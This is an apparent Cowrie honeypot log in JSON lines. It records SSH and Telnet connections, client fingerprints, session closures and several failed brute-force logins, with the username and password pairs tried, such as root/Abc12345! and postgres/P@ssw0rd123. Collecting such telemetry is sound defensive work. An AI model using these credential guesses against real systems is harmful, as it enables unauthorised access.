{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:14.742385Z","src_ip":"58.186.20.101","session":"6726a4a46f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.3711137771606445,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:15.572447Z","src_ip":"137.184.155.248","session":"46acb1fa098b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1z2x3c4v5b","message":"login attempt [ubuntu/1z2x3c4v5b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:15.773182Z","src_ip":"58.186.20.101","session":"6726a4a46f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:17.026350Z","src_ip":"58.186.20.101","session":"6726a4a46f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.97395062446594,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:22.714792Z","src_ip":"137.184.155.248","session":"be2c758c3b9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35342,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcecda342105","protocol":"telnet","message":"New connection: 137.184.155.248:35342 (10.17.0.5:23) [session: fcecda342105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:24.121469Z"}
{"eventid":"cowrie.session.closed","duration":30.926337957382202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:29.119671Z","src_ip":"213.129.84.225","session":"3ba530223b95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.46121549606323,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:32.955548Z","src_ip":"137.184.155.248","session":"d01adc6c05bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.12468862533569,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:38.032887Z","src_ip":"137.184.155.248","session":"6753438002a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":45622,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ef52199dad4","protocol":"ssh","message":"New connection: 202.125.94.71:45622 (159.203.135.109:22) [session: 1ef52199dad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:45.440404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:45.445794Z","src_ip":"202.125.94.71","session":"1ef52199dad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:45.711453Z","src_ip":"202.125.94.71","session":"1ef52199dad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssw0rd123","message":"login attempt [postgres/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:46.801471Z","src_ip":"202.125.94.71","session":"1ef52199dad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:48.068542Z","src_ip":"202.125.94.71","session":"1ef52199dad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33498,"dst_ip":"159.203.135.109","dst_port":23,"session":"74ad7b16265f","protocol":"telnet","message":"New connection: 213.129.84.225:33498 (159.203.135.109:23) [session: 74ad7b16265f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:55.248288Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47112,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc7cbdc11c8a","protocol":"telnet","message":"New connection: 213.129.84.225:47112 (159.203.135.109:23) [session: dc7cbdc11c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:58.292595Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51398,"dst_ip":"159.203.135.109","dst_port":23,"session":"42935d6ca58c","protocol":"telnet","message":"New connection: 213.129.84.225:51398 (159.203.135.109:23) [session: 42935d6ca58c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:00.218154Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":44498,"dst_ip":"10.17.0.5","dst_port":22,"session":"a04136de6635","protocol":"ssh","message":"New connection: 203.90.110.186:44498 (10.17.0.5:22) [session: a04136de6635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:03.880603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:03.886649Z","src_ip":"203.90.110.186","session":"a04136de6635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:04.114446Z","src_ip":"203.90.110.186","session":"a04136de6635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46306,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c16dbcd2db1","protocol":"telnet","message":"New connection: 137.184.155.248:46306 (10.17.0.5:23) [session: 0c16dbcd2db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:04.382903Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"password","message":"login attempt [guest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:05.040627Z","src_ip":"203.90.110.186","session":"a04136de6635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51816,"dst_ip":"159.203.135.109","dst_port":23,"session":"da1769277a79","protocol":"telnet","message":"New connection: 213.129.84.225:51816 (159.203.135.109:23) [session: da1769277a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:05.304625Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":47516,"dst_ip":"10.17.0.5","dst_port":22,"session":"64fec3a7b191","protocol":"ssh","message":"New connection: 186.4.240.226:47516 (10.17.0.5:22) [session: 64fec3a7b191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:05.377735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:05.684483Z","src_ip":"186.4.240.226","session":"64fec3a7b191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:05.776623Z","src_ip":"186.4.240.226","session":"64fec3a7b191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:06.273142Z","src_ip":"203.90.110.186","session":"a04136de6635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345!","message":"login attempt [root/Abc12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:06.354511Z","src_ip":"186.4.240.226","session":"64fec3a7b191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.29801678657532,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:07.419383Z","src_ip":"137.184.155.248","session":"fcecda342105","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:07.447467Z","src_ip":"186.4.240.226","session":"64fec3a7b191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.260494232177734,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:08.643250Z","src_ip":"137.184.155.248","session":"0c16dbcd2db1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46362,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c390fe9fe09","protocol":"telnet","message":"New connection: 213.129.84.225:46362 (159.203.135.109:23) [session: 2c390fe9fe09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:11.273081Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43168,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cadce3d8ae6","protocol":"telnet","message":"New connection: 137.184.155.248:43168 (10.17.0.5:23) [session: 7cadce3d8ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:19.385014Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47288,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d64305a4ef9","protocol":"telnet","message":"New connection: 137.184.155.248:47288 (10.17.0.5:23) [session: 2d64305a4ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:22.966916Z"}
{"eventid":"cowrie.session.closed","duration":30.81763243675232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:26.065756Z","src_ip":"213.129.84.225","session":"74ad7b16265f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770626544952393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:29.063122Z","src_ip":"213.129.84.225","session":"dc7cbdc11c8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83357286453247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:31.051613Z","src_ip":"213.129.84.225","session":"42935d6ca58c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56136,"dst_ip":"159.203.135.109","dst_port":23,"session":"1172f69dfe5b","protocol":"telnet","message":"New connection: 213.129.84.225:56136 (159.203.135.109:23) [session: 1172f69dfe5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:31.689118Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48714,"dst_ip":"159.203.135.109","dst_port":23,"session":"50e20be0d9cd","protocol":"telnet","message":"New connection: 213.129.84.225:48714 (159.203.135.109:23) [session: 50e20be0d9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:35.278652Z"}
{"eventid":"cowrie.session.closed","duration":31.15719699859619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:36.461690Z","src_ip":"213.129.84.225","session":"da1769277a79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.025859117507935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:42.298799Z","src_ip":"213.129.84.225","session":"2c390fe9fe09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":56654,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad24af0dd58a","protocol":"ssh","message":"New connection: 202.125.94.71:56654 (159.203.135.109:22) [session: ad24af0dd58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:47.369251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:47.373868Z","src_ip":"202.125.94.71","session":"ad24af0dd58a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:47.633125Z","src_ip":"202.125.94.71","session":"ad24af0dd58a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Computer","message":"login attempt [root/Computer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:48.703323Z","src_ip":"202.125.94.71","session":"ad24af0dd58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:49.965308Z","src_ip":"202.125.94.71","session":"ad24af0dd58a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41496,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a18a3494db","protocol":"telnet","message":"New connection: 137.184.155.248:41496 (10.17.0.5:23) [session: c7a18a3494db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:09:55.820960Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56040,"dst_ip":"159.203.135.109","dst_port":23,"session":"0275245e0639","protocol":"telnet","message":"New connection: 213.129.84.225:56040 (159.203.135.109:23) [session: 0275245e0639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:00.285648Z"}
{"eventid":"cowrie.session.closed","duration":30.439341068267822,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:02.128330Z","src_ip":"213.129.84.225","session":"1172f69dfe5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.376896381378174,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:04.761816Z","src_ip":"137.184.155.248","session":"7cadce3d8ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853904247283936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:06.132407Z","src_ip":"213.129.84.225","session":"50e20be0d9cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":51770,"dst_ip":"10.17.0.5","dst_port":22,"session":"a19d432ceb43","protocol":"ssh","message":"New connection: 190.244.39.232:51770 (10.17.0.5:22) [session: a19d432ceb43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:08.365406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:08.376785Z","src_ip":"190.244.39.232","session":"a19d432ceb43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:08.579536Z","src_ip":"190.244.39.232","session":"a19d432ceb43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42394,"dst_ip":"159.203.135.109","dst_port":23,"session":"142b8ce32d03","protocol":"telnet","message":"New connection: 213.129.84.225:42394 (159.203.135.109:23) [session: 142b8ce32d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:09.032408Z"}
